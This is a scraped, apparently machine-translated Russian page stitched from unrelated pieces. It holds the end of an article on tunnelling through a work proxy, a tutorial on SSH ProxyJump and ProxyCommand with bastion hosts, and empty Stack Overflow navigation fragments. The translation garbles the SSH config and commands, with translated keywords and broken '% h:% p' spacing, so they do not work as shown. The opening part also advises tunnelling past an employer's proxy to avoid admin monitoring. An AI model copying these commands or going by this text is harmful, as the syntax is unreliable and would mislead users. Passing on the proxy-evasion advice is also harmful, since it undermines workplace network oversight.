Для других протоколов вы, конечно, можете просто убедиться, что ваш work-ssh
session перенаправляет больше портов на ваш домашний компьютер. Затем он отличается между
протоколы, как заставить их работать. Если вы хотите, чтобы IRC работал через это
настройки, вам понадобится «IRC bouncer» (например, muh)
работает на вашем домашнем компьютере, поскольку в противном случае IRC не может работать должным образом.
В случаях, когда ваша работа фактически не блокирует вас через прокси, вы можете
по-прежнему используйте этот подход (хотя вы можете пропустить часть, выполняя CONNECT и
ваш домашний компьютер не должен запускать ssh на порту 443), чтобы предотвратить вашу работу
админы от слежки за вашим сетевым трафиком.
Журнал изменений: я добавил детали прокси SOCKS в июне 2010 года.
Обновлено: 20 февраля 2020 г. 08:50 (Центральноевропейская, Стокгольм, Швеция)
.
SSH к удаленным хостам через прокси или бастион с ProxyJump
В концепции хостов-бастионов нет ничего нового для вычислений. Хосты Baston обычно являются общедоступными, защищенными системами, которые служат точкой входа в системы, находящиеся за брандмауэром или другим ограниченным местоположением, и они особенно популярны с ростом облачных вычислений.
Команда ssh позволяет легко использовать хосты-бастионы для подключения к удаленному хосту с помощью одной команды. Вместо того, чтобы сначала подключиться к хосту-бастиону по SSH, а затем использовать ssh на бастионе для подключения к удаленному хосту, ssh может сам создать начальное и второе соединения, используя ProxyJump .
ProxyJump
ProxyJump или флаг -J был представлен в ssh версии 7.3. Чтобы использовать его, укажите хост-бастион для подключения после флага -J , а также удаленный хост:
$ ssh -J <хост-бастион> <удаленный хост>
Вы также можете установить определенные имена пользователей и порты, если они различаются между хостами:
$ ssh -J пользователь @ <бастион: порт> <пользователь @ удаленный: порт>
На странице ssh man (или руководства) ( man ssh ) отмечается, что можно указать несколько имен хостов, разделенных запятыми, для перехода между сериями хостов:
$ ssh -J <бастион1>, <бастион2> <удаленный>
Эта функция полезна, если существует несколько уровней разделения между бастионом и последним удаленным хостом.Например, общедоступный хост-бастион, предоставляющий доступ к набору хостов «веб-уровня», внутри которого может осуществляться доступ к дополнительно защищенной группе «уровня базы данных».
Прокси-хосты с жестким кодированием в ~ / .ssh / config
Флаг -J обеспечивает гибкость для простого указания прокси и удаленных хостов по мере необходимости, но если конкретный хост-бастион регулярно используется для подключения к определенному удаленному хосту, конфигурация ProxyJump может быть установлена в ~ / .ssh / config для автоматического подключения к бастиону по пути к удаленному хосту:
### Бастионное войско
Хост-бастион-ник-хост
HostName имя-бастиона
### Удаленный хост
Имя хоста удаленного хоста
HostName имя удаленного хоста
ProxyJump бастион-хост-ник
Используя пример конфигурации выше, когда соединение ssh выполняется следующим образом:
$ ssh имя-удаленного хоста
Команда ssh сначала создает соединение с хостом-бастионом имя-хоста-бастиона (хост, на который ссылается псевдоним в настройках удаленного хоста ProxyJump ) перед подключением к удаленному хосту.
Альтернатива: перенаправление stdin и stdout
ProxyJump — это упрощенный способ использования функции, которую ssh имеет долгое время: ProxyCommand . ProxyCommand работает путем пересылки стандартного входа (stdin) и стандартного выхода (stdout) с удаленной машины через прокси-серверы или хосты-бастионы.
ProxyCommand Сама — это особая команда, используемая для подключения к удаленному серверу — в случае предыдущего примера это была бы ручная команда ssh , используемая для первого подключения к бастиону:
$ ssh -o ProxyCommand = "ssh -W% h:% p bastion-host" удаленный хост
Аргументы % h:% p для флага -W выше указывают на пересылку стандартных входов и выходов на удаленный хост (% h ) и порт удаленного хоста (% p ).
ProxyCommand в ~ / .ssh / config
Как и ProxyJump , ProxyCommand может быть установлен в файле ~ / .ssh / config для хостов, которые всегда используют эту конфигурацию:
Хост удаленный хост
ProxyCommand ssh-хост-бастион -W% h:% p
С этим параметром в ~ / .ssh / config любое соединение ssh с удаленным хостом выполняется путем перенаправления stdin и stdout через защищенное соединение от bastion-host .
Команда ssh — мощный инструмент. Хотя в основном он может использоваться в своей простейшей форме, ssh user @ hostname , существует буквально десятки вариантов использования с флагами и конфигурациями для установления соединений от одного хоста к другому. Просмотрите страницу руководства по ssh ( man ssh ), чтобы когда-нибудь познакомиться со всеми различными опциями, доступными с этой, казалось бы, простой программой.
.
Подключение к ssh через прокси
Переполнение стека
- Около
Продукты
- Для команд
Переполнение стека
Общественные вопросы и ответыПереполнение стека для команд
Где разработчики и технологи делятся частными знаниями с коллегамиВакансии
Программирование и связанные с ним технические возможности карьерного ростаТалант
Нанимайте технических специалистов и создавайте свой бренд работодателяРеклама
Обратитесь к разработчикам и технологам со всего мира- О компании
Загрузка…
.
ssh tunnel — SSH-туннель через прокси для выполнения команд BOSH на удаленном сервере
Переполнение стека
- Около
Продукты
- Для команд
Переполнение стека
Общественные вопросы и ответыПереполнение стека для команд
Где разработчики и технологи делятся частными знаниями с коллегамиВакансии
Программирование и связанные с ним технические возможности карьерного ростаТалант
Нанимайте технических специалистов и создавайте свой бренд работодателяРеклама
Обратитесь к разработчикам и технологам со всего мира- О компании
Загрузка…
.